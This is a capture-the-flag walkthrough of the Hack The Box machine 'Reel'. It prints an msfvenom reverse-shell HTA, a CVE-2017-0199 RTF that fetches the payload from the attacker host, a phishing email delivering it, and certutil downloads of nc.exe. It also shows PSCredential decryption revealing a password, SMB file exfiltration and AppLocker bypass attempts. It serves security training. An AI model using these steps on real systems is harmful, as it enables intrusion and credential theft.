

HTB-Reel



Information Gathering

Rustscan

Let's first scan for all open ports using rustscan.

Rustscan discovers several ports open, including **SSH**, **FTP**, and **SMTP**:

```
rustscan --addresses 10.10.10.77 --range 1-65535
```

```
Open 10.10.10.77:21
Open 10.10.10.77:22
Open 10.10.10.77:25
Open 10.10.10.77:135
Open 10.10.10.77:139
Open 10.10.10.77:445
Open 10.10.10.77:593
Open 10.10.10.77:49159
```

Enumeration

SMB - TCP 445

We will first start with enumerating SMB.

Crackmapexec discovers the domain **HTB.LOCAL**, which we add to `/etc/hosts`:

```
(yoon@kali)-[~/Documents/htb/reel/ftp]
└─$ crackmapexec smb 10.10.10.77
SMB 10.10.10.77 445 REEL [*] Windows Server 2012 R2 Standard 9600 x64 (name:REEL) (domain:HTB.LOCAL)
(signing:True) (SMBv1:True)
```

FTP - TCP 21

Let's move on to enumerating FTP.

Luckily, FTP is misconfigured to accept anonymous logins and there is one directory called **documents** init:

```
(yoon@kali)-[~/Documents/htb/reel]
└─$ ftp 10.10.10.77
Connected to 10.10.10.77.
220 Microsoft FTP Service
Name (10.10.10.77:yoon): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
229 Entering Extended Passive Mode (|||41000|)
150 Opening ASCII mode data connection.
05-29-18 12:19AM <DIR> documents
226 Transfer complete.
```

Inside **documents**, there are three files, which we download using `mget` command:

```
ftp> dir
229 Entering Extended Passive Mode (|||41001|)
125 Data connection already open; Transfer starting.
05-29-18 12:19AM 2047 AppLocker.docx
05-28-18 02:01PM 124 readme.txt
10-31-17 10:13PM 14581 Windows Event Forwarding.docx
226 Transfer complete.
ftp> mget *
```

readme.txt seems to be saying that if we email **rtf** format files, some user will review it. This is definitely something interesting since we have SMTP running on this machine:

```
(yoon@kali)-[~/Documents/htb/reel/ftp]
└─$ cat readme.txt
please email me any rtf format procedures - I'll review and convert.
new format / converted documents will be saved here.
```

AppLocker.docx says exe, msi, and scripts are in effect. We might need to bypass applocker later.

AppLocker procedure to be documented - hash rules for exe, msi and scripts (ps1,vbs,cmd,bat,js) are in effect.

Windows Event Forwarding.docx has bunch of configurations on it, which at this point aren't that helpful:

```
# get winrm config
```

```
winrm get winrm/config
```

```
# gpo config
```

```
O:BAG:SYD:(A;;0xf0005;;;SY)(A;;0x5;;;BA)(A;;0x1;;;S-1-5-32-573)(A;;0x1;;;NS) // add to GPO
Server=http://WEF.HTB.LOCAL:5985/wsman/SubscriptionManager/WEC,Refresh=60 // add to GPO (60 seconds)
```

```
on source computer: gpupdate /force
```

```
# prereqs
```

```
start Windows Remote Management service on source computer
add builtin\network service account to "Event Log Readers" group on collector server
```

```
# list subscriptions / export
```

```
C:\Windows\system32>wecutil es > subs.txt
```

```
# check subscription status
```

```
C:\Windows\system32>wecutil gr "Account Currently Disabled"
```

```
Subscription: Account Currently Disabled
```

```
RunTimeStatus: Active
```

```
LastError: 0
```

```
EventSources:
```

```
    LAPTOP12.HTB.LOCAL
```

```
        RunTimeStatus: Active
```

```
        LastError: 0
```

```
        LastHeartbeatTime: 2017-07-11T13:27:00.920
```

However, taking a look at **Windows Event Forwarding.docx** using `exiftool`, creator is found to be `nico@megabank.com` which is very interesting:

```
Zip Compression      : Deflated
Zip Modify Date      : 1980:01:01 00:00:00
Zip CRC              : 0x82872409
Zip Compressed Size   : 385
Zip Uncompressed Size : 1422
Zip File Name         : [Content_Types].xml
Creator              : nico@megabank.com
Revision Number       : 4
Create Date           : 2017:10:31 18:42:00Z
Modify Date           : 2017:10:31 18:51:00Z
Template              : Normal.dotm
Total Edit Time       : 5 minutes
Pages                 : 2
```

SMTP - TCP 25

Since we have a potential valid user **nico**, let's verify using SMTP:

```
ismtp -h 10.10.10.77 -e ~/Documents/htb/reel/user-list.txt
```

```
[+] nico@megabank.com --- [ valid ]
[-] admin@megabank.com -- [ invalid ]
[-] test@megabank.com --- [ invalid ]
```

`ismtp` verifies user **nico** is a valid user.

Shell as nico

CVE-2017-0199

Recalling **readme.txt** from the FTP earlier, let's try on [CVE-2017-0199](#):

Description

Microsoft Office 2007 SP3, Microsoft Office 2010 SP2, Microsoft Office 2013 SP1, Microsoft Office 2016, Microsoft Windows Vista SP2, Windows Server 2008 SP2, Windows 7 SP1, Windows 8.1 allow remote attackers to execute arbitrary code via a crafted document, aka "Microsoft Office/WordPad Remote Code Execution Vulnerability w/Windows API."

We will use [this exploit](#) for it.

We will first create a malicious payload that will spawn a reverse shell:

```
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.36 LPORT=443 -f hta-psh
-o msfv.hta
```

```
(yoon@kali)-[~/Documents/htb/reel]
$ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.36 LPORT=443 -f hta-psh -o msfv.hta
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of hta-psh file: 7406 bytes
Saved as: msfv.hta
```

Now, let's create a malicious file that will grab and launch our reverse shell payload from the Python server when it is accessed from a different user:

```
python2 CVE-2017-0199/cve-2017-0199_toolkit.py -M gen -w invoice.rtf -u
http://10.10.14.36/msfv.hta -t rtf -x 0
```

```
(yoon@kali)-[~/Documents/htb/reel]
$ python2 CVE-2017-0199/cve-2017-0199_toolkit.py -M gen -w invoice.rtf -u http://10.10.14.36/msfv.hta -t rtf -x 0
Generating normal RTF payload.
Generated invoice.rtf successfully
```

Now assuming `nico@megabank.com` is the user who will access the emailed file, let's send an email to **nico** attaching the malicious document:

```
sendEmail -f jadu@megabank.com -t nico@megabank.com -u "Urgent!" -m "You just
got hacked" -a invoice.rtf -s 10.10.10.77 -v
```

```
(yoon@kali)-[~/Documents/htb/reel]
$ sendEmail -f jadu@megabank.com -t nico@megabank.com -u "Urgent" -m "You just got hacked" -a invoice.rtf -s 10.10.10.77 -v
Jun 11 02:30:04 kali sendEmail[758337]: DEBUG => Connecting to 10.10.10.77:25
Jun 11 02:30:04 kali sendEmail[758337]: DEBUG => My IP address is: 10.10.14.36
Jun 11 02:30:05 kali sendEmail[758337]: SUCCESS => Received: 220 Mail Service ready
Jun 11 02:30:05 kali sendEmail[758337]: INFO => Sending: EHLO kali
Jun 11 02:30:05 kali sendEmail[758337]: SUCCESS => Received: 250-REEL, 250-SIZE 20480000, 250-AUTH LOGIN PLAIN, 250 HELP
Jun 11 02:30:05 kali sendEmail[758337]: INFO => Sending: MAIL FROM:<jadu@megabank.com>
Jun 11 02:30:06 kali sendEmail[758337]: SUCCESS => Received: 250 OK
Jun 11 02:30:06 kali sendEmail[758337]: INFO => Sending: RCPT TO:<nico@megabank.com>
Jun 11 02:30:06 kali sendEmail[758337]: SUCCESS => Received: 250 OK
Jun 11 02:30:06 kali sendEmail[758337]: INFO => Sending: DATA
Jun 11 02:30:07 kali sendEmail[758337]: SUCCESS => Received: 354 OK, send.
Jun 11 02:30:07 kali sendEmail[758337]: INFO => Sending message body
Jun 11 02:30:07 kali sendEmail[758337]: Setting content-type: text/plain
Jun 11 02:30:07 kali sendEmail[758337]: DEBUG => Sending the attachment [invoice.rtf]
Jun 11 02:30:19 kali sendEmail[758337]: SUCCESS => Received: 250 Queued (11.728 seconds)
Jun 11 02:30:19 kali sendEmail[758337]: Email was sent successfully! From: <jadu@megabank.com> To: <nico@megabank.com> Subject: [Urgent] Att
achment(s): [invoice.rtf] Server: [10.10.10.77:25]
```

In a little bit, we can see that **nico** accessing the sent document and the document grabbing malicious payload from our Python server:

```
(yoon@kali)-[~/Documents/htb/reel]
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.77 - - [10/Jun/2024 03:02:38] "GET /msfv.hta HTTP/1.1" 200 -
```

After the document grabs the payload, it is executed, and we get a shell as **nico**:

```
(yoon@kali)-[~/Documents/htb/reel]
$ sudo rlwrap nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.36] from (UNKNOWN) [10.10.10.77] 57231
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami

htb\nico
```

Privesc: nico to tom

PSCredential

Looking around the file system, we discovered **cred.xml** inside nico's Desktop:

```
Directory of C:\Users\nico\Desktop

28/05/2018  21:07    <DIR>          .
28/05/2018  21:07    <DIR>          ..
28/10/2017  00:59                1,468 cred.xml
09/06/2024  11:17                 34 user.txt
               2 File(s)            1,502 bytes
               2 Dir(s)  4,936,052,736 bytes free
```

This is a PSCredentials file:

```
C:\Users\nico\Desktop> type cred.xml
type cred.xml
<Obj Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>System.Management.Automation.PSCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>System.Management.Automation.PSCredential</ToString>
    <Props>
      <S N="UserName">HTB\Tom</S>
      <SS N="Password">01000000d08c9ddf0115d118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be587073000000000200000000003660000c00000010
00000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763b
b3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692</SS>
    </Props>
  </Obj>
</Objs>
```

On [HTB-Pov](#), we've already decrypted PSCredentials before.

Let's use the following command to decrypt it:

```
powershell -c "$cred = Import-CliXml 'C:\Users\nico\Desktop\cred.xml';
$cred.GetNetworkCredential() | fl"
```

```
C:\Windows\system32>powershell -c "$cred = Import-CliXml 'C:\Users\nico\Desktop\cred.xml'; $cred.GetNetworkCredential() | fl"

powershell -c "$cred = Import-CliXml 'C:\Users\nico\Desktop\cred.xml'; $cred.GetNetworkCredential() | fl"

UserName      : Tom
Password      : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain        : HTB
```

Password for tom is revealed to be **1ts-mag1c!!!**

Usually if we have a credentials for a new user, we will utilize **RunasCS**, but since SSH is open, let's SSH login as tom:

```
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

tom@REEL C:\Users\tom>whoami
htb\tom
```

Privesc: tom to claire

Local Enumeration

Exploring around the file system as user tome, we found interesting file and a directory inside tom's desktop:

```
tom@REEL C:\Users\tom\Desktop\AD Audit>dir
Volume in drive C has no label.
Volume Serial Number is CEBA-B613

Directory of C:\Users\tom\Desktop\AD Audit

05/29/2018  09:02 PM    <DIR>          .
05/29/2018  09:02 PM    <DIR>          ..
05/30/2018  12:44 AM    <DIR>          BloodHound
05/29/2018  09:02 PM                182 note.txt
               1 File(s)                182 bytes
               3 Dir(s)  4,936,028,160 bytes free
```

note.txt is saying that there are no AD attack paths from the user to the Domain Admin:

```
tom@REEL C:\Users\tom\Desktop\AD Audit>type note.txt
Findings:

Surprisingly no AD attack paths from user to Domain Admin (using default shortest path query).
Maybe we should re-run Cypher query against other groups we've created.
```

Inside Bloodhound directory, we see **PowerView.ps1** and another directory of **Ingestors**:

```
tom@REEL C:\Users\tom\Desktop\AD Audit\BloodHound>dir
Volume in drive C has no label.
Volume Serial Number is CEBA-B613

Directory of C:\Users\tom\Desktop\AD Audit\BloodHound

05/30/2018  12:44 AM    <DIR>          .
05/30/2018  12:44 AM    <DIR>          ..
05/29/2018  08:57 PM    <DIR>          Ingestors
10/30/2017  11:15 PM                769,587 PowerView.ps1
               1 File(s)                769,587 bytes
               3 Dir(s)  4,936,028,160 bytes free
```

Trying to run **SharpHound.exe** inside the **Ingestors** directory, we are blocked by the **AppLocker**:

```
tom@REEL C:\Users\tom\Desktop\AD Audit\BloodHound\Ingestors>.\SharpHound.exe
This program is blocked by group policy. For more information, contact your system administrator.
```

AppLocker Bypass (Failed)

For the following content, we took [this article](#) as a reference.

Let's take a look at the AppLocker Policy:

```
powershell -c "Get-ApplockerPolicy -Effective -Xml"
```

```
tom@REEL C:\Users\tom>powershell -c "Get-ApplockerPolicy -Effective -Xml"
<AppLockerPolicy Version="1"><RuleCollection Type="Appx" EnforcementMode="Enabled"><FilePublisherRule Id="a9e18c21-ff8f-43cf-b9
fc-db40eed693ba" Name="(Default Rule) All signed packaged apps" Description="Allows members of the Everyone group to run packag
ed apps that are signed." UserOrGroupSid="S-1-1-0" Action="Allow"><Conditions><FilePublisherCondition PublisherName="*" Product
Name="*" BinaryName="*"><BinaryVersionRange LowSection="0.0.0.0" HighSection="*" /></FilePublisherCondition></Conditions></File
PublisherRule></RuleCollection><RuleCollection Type="Dll" EnforcementMode="NotConfigured" /><RuleCollection Type="Exe" Enforcem
entMode="Enabled"><FilePublisherRule Id="087649c9-3c91-43c0-acc3-e9c0887e87f2" Name="Windows: MICROSOFT® .NET FRAMEWORK signed
by O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=US" Description="" UserOrGroupSid="S-1-1-0" Action="Allow"><Conditions><
```

Since the output is too big, let's save it to a file:

```
powershell -c "Get-ApplockerPolicy -Effective -Xml | Out-File -FilePath
'C:\ProgramData\output.xml'"
```

```
PS C:\Users\tom> powershell -c "Get-ApplockerPolicy -Effective -Xml | Out-File -FilePath 'C:\ProgramData\output.xml'"
PS C:\Users\tom> dir C:\ProgramData

Directory: C:\ProgramData

Mode                LastWriteTime         Length Name
----                -
d---s             10/27/2017 11:27 PM             Microsoft
d---              10/24/2017 11:44 PM             Microsoft OneDrive
d---              1/20/2018 11:00 PM              Oracle
d---              1/21/2018 1:29 AM             regid.1991-06.com.microsoft
d---              1/20/2018 11:09 PM              Sun
d---              10/24/2017 9:20 PM             VMware
-a---             6/11/2024 8:05 AM          277268 output.xml
```

Now let's try transferring the output to our local machine to take a better look at it. We will use nc.exe to do so.

We will first transfer the nc.exe file over to the target machine using certutil.exe:

```
certutil.exe -urlcache -split -f http://10.10.14.36:8000/nc.exe
```

```
tom@REEL C:\Users\tom\Desktop\AD Audit\BloodHound\Ingestors>certutil.exe -urlcache -split -f http://10.10.14.36:8000/nc.exe

**** Online ****
0000 ...
6e00
CertUtil: -URLCache command completed successfully.
```

Unfortunately, we cannot use nc.exe to transfer the output since running nc.exe is also blocked by the applocker:


```

PS C:\Users\tom\Desktop\AD Audit\Bloodhound\Ingestors> .\nc.exe
Program 'nc.exe' failed to run: This program is blocked by group policy. For more information, contact your system administratorAt line:1 char:1
+ .\nc.exe
+ ~~~~~
At line:1 char:1
+ .\nc.exe
+ ~~~~~
+ CategoryInfo          : ResourceUnavailable: (:) [], ApplicationFailedException
+ FullyQualifiedErrorId : NativeCommandFailed

```

Since we can't use nc.exe, let's try with smbserver.

We will first start a SMB server on our Kali machine:

```
impacket-smbserver share .
```

```

(yoon@kali)-[~/Documents/htb/reel]
$ impacket-smbserver share .
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

```

On the target machine, let's connect to the created SMB server:

```
net use * \\10.10.14.36\share
```

```

PS C:\ProgramData> net use * \\10.10.14.36\share
Drive Y: is now connected to \\10.10.14.36\share.

The command completed successfully.

```

Through the command `copy output.xml Y:` on target machine, we can copy the Applocker output to our local Kali machine:

```

(yoon@kali)-[~/Documents/htb/reel]
$ ls -l output.xml
-rwxr-xr-x 1 yoon yoon 277268 Jun 11 03:05 output.xml

```

Let's take a look at it using Firefox:

```
firefox output.xml
```

```

-<AppLockerPolicy Version="1">
  +<RuleCollection Type="Appx" EnforcementMode="Enabled"></RuleCollection>
  <RuleCollection Type="Dll" EnforcementMode="NotConfigured"/>
  +<RuleCollection Type="Exe" EnforcementMode="Enabled"></RuleCollection>
  +<RuleCollection Type="Msi" EnforcementMode="Enabled"></RuleCollection>
  +<RuleCollection Type="Script" EnforcementMode="Enabled"></RuleCollection>
</AppLockerPolicy>

```

We can also see several exceptions:

```

-<Exceptions>
  <FilePathCondition Path="C:\Windows\debug\WIA\*" />
  <FilePathCondition Path="C:\Windows\System32\catroot2\*" />
  <FilePathCondition Path="C:\windows\System32\spool\drivers\color\*" />
  <FilePathCondition Path="C:\Windows\System32\Tasks\*" />
  <FilePathCondition Path="C:\Windows\SysWOW64\Tasks\*" />
  <FilePathCondition Path="C:\Windows\Tasks\*" />
  <FilePathCondition Path="C:\Windows\Temp\*" />
</Exceptions>

```

Another way to enumerate AppLocker is using the command below:

```
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
```

```

PathConditions      : {C:\PROGRAMFILES\*}
PathExceptions      : {}
PublisherExceptions : {}
HashExceptions      : {}
Id                  : 06dce67b-934c-454f-a263-2515c8796a5d
Name                 : (Default Rule) All scripts located in the Program Files folder
Description          : Allows members of the Everyone group to run scripts that are located in the Program Files folder.
UserOrGroupSid       : S-1-1-0
Action               : Allow

```

```

PathConditions      : {C:\WINDOWS\*}
PathExceptions      : {C:\Windows\debug\WIA\*, C:\Windows\System32\catroot2\*, C:\windows\System32\spool\drivers\color\*,
C:\Windows\System32\Tasks\*...}
PublisherExceptions : {}
HashExceptions      : {}
Id                  : ce3bc0c7-2fc7-41e3-9f44-4c4b125caf5d
Name                 : All scripts located in the Windows folder
Description          : Allows members of the Everyone group to run scripts that are located in the Windows folder.
UserOrGroupSid       : S-1-1-0
Action               : Allow

```

The default rules that are set permit the execution of executables and scripts only from within C:\Windows* or C:\Program Files*.

This means that we can only execute scripts from either of those folders or any subfolders inside (from the wildcard). The only issue is that these folders generally have tight permissions by default.

So now what can we do from here? Well, we can check our permissions on all of the folders in both C:\Program Files and C:\Windows; however, fortunately for us, someone has already

done that and created a list of default folders standard users can write to within C:\Windows* on [here](#).

We will create a list of those default writeable path:

```
(yoon@kali)-[~/Documents/htb/reel]
$ cat icaccls.txt
C:\Windows\Tasks
C:\Windows\Temp
C:\windows\tracing
C:\Windows\Registration\CRMLLog
C:\Windows\System32\FxsTmp
C:\Windows\System32\com\dmp
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\PRINTERS
C:\Windows\System32\spool\SERVERS
C:\Windows\System32\spool\drivers\color
C:\Windows\System32\Tasks\Microsoft\Windows\SyncCenter
C:\Windows\System32\Tasks_Migrated (after performing a version upgrade of Windows 10)
C:\Windows\SysWOW64\FxsTmp
C:\Windows\SysWOW64\com\dmp
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\SyncCenter
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA\System
```

Let's transfer it to the target machine:

```
certutil.exe -urlcache -f -split http://10.10.1.4.36:8000/icaccls.txt
```

```
PS C:\Windows\Temp> certutil.exe -urlcache -f -split http://10.10.1.4.36:8000/icaccls.txt
**** Online ****
CertUtil: -URLCache command FAILED: 0x80072ee7 (Inet: 12007 ERROR_INTERNET_NAME_NOT_RESOLVED)
CertUtil: The server name or address could not be resolved
PS C:\Windows\Temp> certutil.exe -urlcache -f -split http://10.10.14.36:8000/icaccls.txt
**** Online ****
0000 ...
025f
CertUtil: -URLCache command completed successfully.
```

Below command will use a for loop to run icaccls against each line of the icaccls.txt file. We also filtered our results to show us only the folders we have write permissions on.

```
for /F %A in (C:\Windows\Temp\icaccls.txt) do ( cmd.exe /c icaccls "%~A"
2>nul | findstr /i "(F) (M) (W) (R,W) (RX,WD) :\" | findstr /i ":\
everyone authenticated users todos %username%" && echo. )
```

Following paths were identified to be writeable:

```
tom@REEL C:\Users\tom>(cmd.exe /c icaccls "C:\Windows\Tasks" 2>nul | findstr /i "(F) (M) (W) (R,W) (RX,WD) :\" | findstr /i
":\\ everyone authenticated users todos tom" && echo. )
C:\Windows\Tasks NT AUTHORITY\Authenticated Users:(RX,WD)
```

```
tom@REEL C:\Users\tom>(cmd.exe /c icaccls "C:\windows\tracing" 2>nul | findstr /i "(F) (M) (W) (R,W) (RX,WD) :\" | findstr /i
":\\ everyone authenticated users todos tom" && echo. )
BUILTIN\Users:(R,W)
```

```
tom@REEL C:\Users\tom>(cmd.exe /c icaccls "C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys" 2>nul | findstr /i "(F) (M) (
W) (R,W) (RX,WD) :\" | findstr /i ":\ everyone authenticated users todos tom" && echo. )
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys Everyone:(R,W)
```

```
tom@REEL C:\Users\tom>(cmd.exe /c icacls "C:\Windows\System32\spool\drivers\color" 2>nul | findstr /i "(F) (M) (W) (R,W) (RX,WD) :\" | findstr /i ":\ everyone authenticated users todos tom" && echo. )
C:\Windows\System32\spool\drivers\color NT SERVICE\TrustedInstaller:(CI)(F)
BUILTIN\Users:(OI)(CI)(RX,WD)
```

```
tom@REEL C:\Users\tom>(cmd.exe /c icacls "C:\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA\System" 2>nul | findstr /i "(F) (M) (W) (R,W) (RX,WD) :\" | findstr /i ":\ everyone authenticated users todos tom" && echo. )
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA\System NT AUTHORITY\SYSTEM:(OI)(CI)(F)
Everyone:(OI)(CI)(RX,WD)
BUILTIN\Performance Log Users:(I)(OI)(CI)(RX,WD)
```

We will use `C:\Windows\Tasks` for it. Let's copy **SharpHound.ps1** over to `C:\Windows\Tasks`:

```
copy .\SharpHound.ps1 C:\Windows\Tasks
```

```
tom@REEL C:\Users\tom\Desktop\AD Audit\BloodHound\Ingestors>copy .\SharpHound.ps1 C:\Windows\Tasks
1 file(s) copied.

tom@REEL C:\Users\tom\Desktop\AD Audit\BloodHound\Ingestors>dir C:\Windows\Tasks
Volume in drive C has no label.
Volume Serial Number is CEBA-B613

Directory of C:\Windows\Tasks

06/11/2024  09:47 AM    <DIR>          .
06/11/2024  09:47 AM    <DIR>          ..
10/24/2017  04:27 PM                636,959 SharpHound.ps1
               1 File(s)                636,959 bytes
               2 Dir(s)  4,894,519,296 bytes free
```

However, even after doing all above, we failed to bypass **AppLocker**.

```
PS C:\Windows\Tasks> Import-Module .\SharpHound.ps1
Import-Module : File C:\Windows\Tasks\SharpHound.ps1 cannot be loaded because its operation is blocked by software restriction
policies, such as those created by using Group Policy.
At line:1 char:1
+ Import-Module .\SharpHound.ps1
+ ~~~~~
+ CategoryInfo          : SecurityError: (:) [Import-Module], PSSecurityException
+ FullyQualifiedErrorId : UnauthorizedAccess,Microsoft.PowerShell.Commands.ImportModuleCommand
```

Let's move on.

acls.csv

We wanted to run SharpHound, but bypassing AppLocker failed. Now what?

Exploring the file system little more, we discovered **acls.csv** file:

```
Directory of C:\Users\tom\Desktop\AD Audit\BloodHound\Ingestors

06/10/2024  08:18 AM    <DIR>          .
06/10/2024  08:18 AM    <DIR>          ..
11/17/2017  12:50 AM                112,225 acls.csv
10/28/2017  09:50 PM                3,549 BloodHound.bin
10/24/2017  04:27 PM               246,489 BloodHound_Old.ps1
06/10/2024  08:18 AM                28,160 nc.exe
10/24/2017  04:27 PM               568,832 SharpHound.exe
10/24/2017  04:27 PM               636,959 SharpHound.ps1
               6 File(s)                1,596,214 bytes
               2 Dir(s)  4,893,425,664 bytes free
```

Let's transfer this back at us using SMB server.

Start SMB server on Kali machine:

```
impacket-smbserver share .
```

```
(yoon@kali)-[~/Documents/htb/reel]
$ impacket-smbserver share .
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
```

Connect to the SMB server from the target machine:

```
net use * \\10.10.14.36\share
```

```
tom@REEL C:\Users\tom\Desktop\AD Audit\BloodHound\Ingestors>net use * \\10.10.14.36\share
Drive Z: is now connected to \\10.10.14.36\share.

The command completed successfully.
```

Transfer **acls.csv** file back at us:

```
copy acls.csv Z:\
```

```
tom@REEL C:\Users\tom\Desktop\AD Audit\BloodHound\Ingestors>copy acls.csv Z:\
1 file(s) copied.
```

Let's take a look at the file.

This file seems to be result of SharpHound but in CSV format:

	A	B	C	D	E	F	G	H	I
1	ObjectName	Object Type	Object GUID	PrincipalName	PrincipalType	ActiveDirectoryRights	ACEType	AccessControlType	IsInherited
2	Domain Computers@HTB.LOCAL	GROUP		Domain Admins@HTB.LOCAL	GROUP	GenericAll		AccessAllowed	False
3	Domain Computers@HTB.LOCAL	GROUP		Account Operators@HTB.LOCAL	GROUP	GenericAll		AccessAllowed	False
4	Domain Computers@HTB.LOCAL	GROUP		Local System@HTB.LOCAL	USER	GenericAll		AccessAllowed	False
5	Domain Computers@HTB.LOCAL	GROUP		Exchange Windows Permissions@HTB.LOCAL	GROUP	ExtendedRight	User-Force-Change-Password	AccessAllowed	True
6	Domain Computers@HTB.LOCAL	GROUP		Exchange Windows Permissions@HTB.LOCAL	GROUP	WriteProperty	Member	AccessAllowed	True
7	Domain Computers@HTB.LOCAL	GROUP		Exchange Windows Permissions@HTB.LOCAL	GROUP	WriteDACL		AccessAllowed	True
8	Domain Computers@HTB.LOCAL	GROUP		Exchange Windows Permissions@HTB.LOCAL	GROUP	WriteDACL		AccessAllowed	True
9	Domain Computers@HTB.LOCAL	GROUP		Enterprise Admins@HTB.LOCAL	GROUP	GenericAll		AccessAllowed	True
10	Domain Computers@HTB.LOCAL	GROUP		Administrators@HTB.LOCAL	GROUP	WriteDACL WriteOwner		AccessAllowed	True
11	Domain Computers@HTB.LOCAL	GROUP		Domain Admins@HTB.LOCAL	GROUP	Owner		AccessAllowed	False
12	Domain Controllers@HTB.LOCAL	GROUP		Domain Admins@HTB.LOCAL	GROUP	WriteDACL WriteOwner		AccessAllowed	False
13	Domain Controllers@HTB.LOCAL	GROUP		Enterprise Admins@HTB.LOCAL	GROUP	WriteDACL WriteOwner		AccessAllowed	False
14	Domain Controllers@HTB.LOCAL	GROUP		Administrators@HTB.LOCAL	GROUP	WriteDACL WriteOwner		AccessAllowed	False
15	Domain Controllers@HTB.LOCAL	GROUP		Local System@HTB.LOCAL	USER	GenericAll		AccessAllowed	False
16	Domain Controllers@HTB.LOCAL	GROUP		Domain Admins@HTB.LOCAL	GROUP	Owner		AccessAllowed	False
17	Schema Admins@HTB.LOCAL	GROUP		Domain Admins@HTB.LOCAL	GROUP	WriteDACL WriteOwner		AccessAllowed	False
18	Schema Admins@HTB.LOCAL	GROUP		Enterprise Admins@HTB.LOCAL	GROUP	WriteDACL WriteOwner		AccessAllowed	False
19	Schema Admins@HTB.LOCAL	GROUP		Administrators@HTB.LOCAL	GROUP	WriteDACL WriteOwner		AccessAllowed	False
20	Schema Admins@HTB.LOCAL	GROUP		Local System@HTB.LOCAL	USER	GenericAll		AccessAllowed	False
21	Schema Admins@HTB.LOCAL	GROUP		Domain Admins@HTB.LOCAL	GROUP	Owner		AccessAllowed	False
22	Enterprise Admins@HTB.LOCAL	GROUP		Domain Admins@HTB.LOCAL	GROUP	WriteDACL WriteOwner		AccessAllowed	False
23	Enterprise Admins@HTB.LOCAL	GROUP		Enterprise Admins@HTB.LOCAL	GROUP	WriteDACL WriteOwner		AccessAllowed	False
24	Enterprise Admins@HTB.LOCAL	GROUP		Administrators@HTB.LOCAL	GROUP	WriteDACL WriteOwner		AccessAllowed	False
25	Enterprise Admins@HTB.LOCAL	GROUP		Local System@HTB.LOCAL	USER	GenericAll		AccessAllowed	False
26	Enterprise Admins@HTB.LOCAL	GROUP		Domain Admins@HTB.LOCAL	GROUP	Owner		AccessAllowed	False
27	Domain Admins@HTB.LOCAL	GROUP		Domain Admins@HTB.LOCAL	GROUP	WriteDACL WriteOwner		AccessAllowed	False
28	Domain Admins@HTB.LOCAL	GROUP		Enterprise Admins@HTB.LOCAL	GROUP	WriteDACL WriteOwner		AccessAllowed	False
29	Domain Admins@HTB.LOCAL	GROUP		Administrators@HTB.LOCAL	GROUP	WriteDACL WriteOwner		AccessAllowed	False
30	Domain Admins@HTB.LOCAL	GROUP		Local System@HTB.LOCAL	USER	GenericAll		AccessAllowed	False
31	Domain Admins@HTB.LOCAL	GROUP		Domain Admins@HTB.LOCAL	GROUP	Owner		AccessAllowed	False
32	Domain Users@HTB.LOCAL	GROUP		Domain Admins@HTB.LOCAL	GROUP	GenericAll		AccessAllowed	False
33	Domain Users@HTB.LOCAL	GROUP		Account Operators@HTB.LOCAL	GROUP	GenericAll		AccessAllowed	False
34	Domain Users@HTB.LOCAL	GROUP		Local System@HTB.LOCAL	USER	GenericAll		AccessAllowed	False
35	Domain Users@HTB.LOCAL	GROUP		Exchange Windows Permissions@HTB.LOCAL	GROUP	ExtendedRight	User-Force-Change-Password	AccessAllowed	True
36	Domain Users@HTB.LOCAL	GROUP		Exchange Windows Permissions@HTB.LOCAL	GROUP	WriteProperty	Member	AccessAllowed	True
37	Domain Users@HTB.LOCAL	GROUP		Exchange Windows Permissions@HTB.LOCAL	GROUP	WriteDACL		AccessAllowed	True
38	Domain Users@HTB.LOCAL	GROUP		Exchange Windows Permissions@HTB.LOCAL	GROUP	WriteDACL		AccessAllowed	True
39	Domain Users@HTB.LOCAL	GROUP		Enterprise Admins@HTB.LOCAL	GROUP	GenericAll		AccessAllowed	True
40	Domain Users@HTB.LOCAL	GROUP		Administrators@HTB.LOCAL	GROUP	WriteDACL WriteOwner		AccessAllowed	True
41	Domain Users@HTB.LOCAL	GROUP		Domain Admins@HTB.LOCAL	GROUP	Owner		AccessAllowed	False
42	Domain Guests@HTB.LOCAL	GROUP		Domain Admins@HTB.LOCAL	GROUP	GenericAll		AccessAllowed	False
